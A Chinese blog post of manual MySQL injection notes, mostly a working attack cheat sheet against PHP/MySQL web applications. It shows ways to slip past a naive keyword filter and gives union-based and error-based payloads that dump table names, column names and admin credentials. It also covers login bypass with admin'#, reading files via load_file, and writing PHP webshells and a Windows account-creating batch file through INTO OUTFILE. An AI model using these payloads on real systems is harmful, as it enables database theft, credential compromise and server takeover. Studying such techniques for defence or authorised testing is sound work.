MySql手工注入笔记

一、基础知识

1、MySQL语句

2、MySQL函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

3、Mysql数据库连接

<?php
$host='localhost';               //数据库地址
$database='sui';                //数据库名称
$user='root';                  //数据库帐户
$pass='';                     //数据库密码
$pass='';                    //数据库密码
$webml='/0/';              //安装文件夹
?>

4、MySQL一般存放目录

织梦:/data/common.inc.php
帝国:/e/class/config.php
worldpress: /wp-config.php
phpcms : caches\configs\database.php
动网论坛数据库: /data/dvbbs7.mdb
/databackup/dvbbs7.mdb

新云管理系统6.0数据库 /database/NewCloud6.mdb
动易网站管理系统4.03数据库 /database/PowerEasy4.mdb

论坛数据库 /database/bbsxp.mdb BBSXP
/data/Leadbbs.mdb LeadBBS
/bbs/Data/LeadBBS.mdb LeadBBS
/bbs/database/bbsxp.mdb BBSXP

二、注入原理

通过代码审计发现:
$id=verify_null(verify_id($_GET['id']),"参数");-----有过滤


修改为$id=$_GET['id'];------没有过滤
防注入代码:
function check_sql($x)
    {
$inject=array("select","union","from","and","or");
$i=str_replace($inject,"",$x);
return $i;
    }

 绕过方法:
 And ------------大小写代换
 aandnd ------------过滤不完全
 %0aand-----------url编码
 %00   %20  ---------url编码
防注入代码:
function check_sql($Sql_Str) {//自动过滤Sql的注入语句。
                          $check=preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$Sql_Str);
if ($check) 
{
echo '<script language="JavaScript">alert("系统警告:\n\n请不要尝试在参数中包含非法字符尝试注入!");</script>';
exit();
}
else {
return $Sql_Str;
}
  
  绕过方法:a%00nd

三、手工注入

1、判断注入
and 1=1
and 1=2

2、查询

判断列数:order by

联合查询:id=1 union select 1,2,3,4,5
不报错的话,可以修改参数-,使其代入错误或增加逻辑非语句and 1=2,都可以爆出来

3、查数据库名,表名,版本号等

id=1 union select 1,database(),3,4,5 

id=1 union select 1,version(),3,4,5 

id=1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x7879 
(爆出16进制位0x7879对应数据库的所有表名)

id=1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x78789654569 
(爆出16进制位0x78789654569 对应表下的所有列名)

id=1 union select 1,group_concat(m_name,0x7e,m_pwd),3,4,5 from admin 
(爆出admin表下的) 爆出admin表下m_name和m_pwd列的内容

 group_concat:连接几条数据结果
若得到版本为Mysql4.0:无information,不能以上方法手工爆破。建议使用sqlmap

4、Mysql显错注入:

1)判断是否存在注入输入
略

2)爆当前数据库用户

-99999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#

3)报当前数据库名称
-99999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select database() limit 0,1))a from information_schema.tables group by a)b#

4)报当前版本号
-99999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select version() limit 0,1))a from information_schema.tables group by a)b#

5)爆当前数据库
-99999999999' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

 
6)爆表
'and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x64656E67 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

7)爆字段
'and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x64656E67  and table_name=0x75736572 limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

8) 爆第二个表
'and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x64656E67  and table_name=0x75736572 limit 1,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

9) 爆内容
'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,user.username,0x27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

5、后台绕过:

代码审计:select * from user where username=’’ and password=’’
输入:admin’# 注释符,表示只验证用户名为admin的验证密码

select * from user where username=‘admin’#’ and password=’’
输入:admin’ or ‘1=1 闭合
select * from user where username=‘admin’ or ‘1=1’ and password=’’



6、读写函数的使用

1)select load_file(’/usr/www/inde.php’); 读取文件

    load_file()函数  该函数是用来读取源文件的函数,只能读取绝对路径的网页文件
    在使用load_file()时应先找到网站绝对路径,例如:
    d:/www/xx/index.php/usr/src/apache/htdoc/index.php
    
    注意:
    1.路径符号 "\" 错误“\\”正确 “/” 正确
    2.转换十六进制数,就不要‘’ 

2)语法:前提是要报错

and 1=2 union select 1,load_file('C:\\Inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

and 1=2 union select 1,load_file(0x443A5C7068705C41504D53657276352E322E365C7777775C6874646F63735C335C636F6E6669672E706870),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

3)绕过’过滤 获取网站根路径:
读取c:/windows/system32/inetsrv/metabase.xml—记录iis网站信息,可用来读取路径信息
报错显示
上传报错(配合bp抓包)
谷歌黑客:site:目标网站 warning
遗留文件 phpinfo info test php
漏洞爆路径
读取配置文件

4)写入函数into outfile利用:在root权限下

上传一句话:
and 1=2 union select 1,"<?php @eval($_POST['cracer']);?>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cracer.php'
  导入账户:
第一种方法:需要使用wamp环境搭建需要系统权限才能执行
and 1=2 union select 1,"net user seven 123 /add",2,3,4,5,6 into outfile 'C://Documents and Settings/Administrator/「开始」菜单/程序/启动/1.bat'
第二种方法:
and 1=2 union select 1,"<pre><body><?  @system($_GET['cc']); ?></body></pre>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cr.php'

7、绕过魔术引号之宽字节注入

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会
被自动加上一个反斜线进行转义。这和 addslashes() 作用完全相同。

一共有三个魔术引号指令:   
1、magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。
不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。

2、magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返
回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该
选项可在运行的时改变,在 PHP 中的默认值为 off。 
参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。

3、magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转
义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个
选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不
会进行转义。如何取得其值参见 ini_get()。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值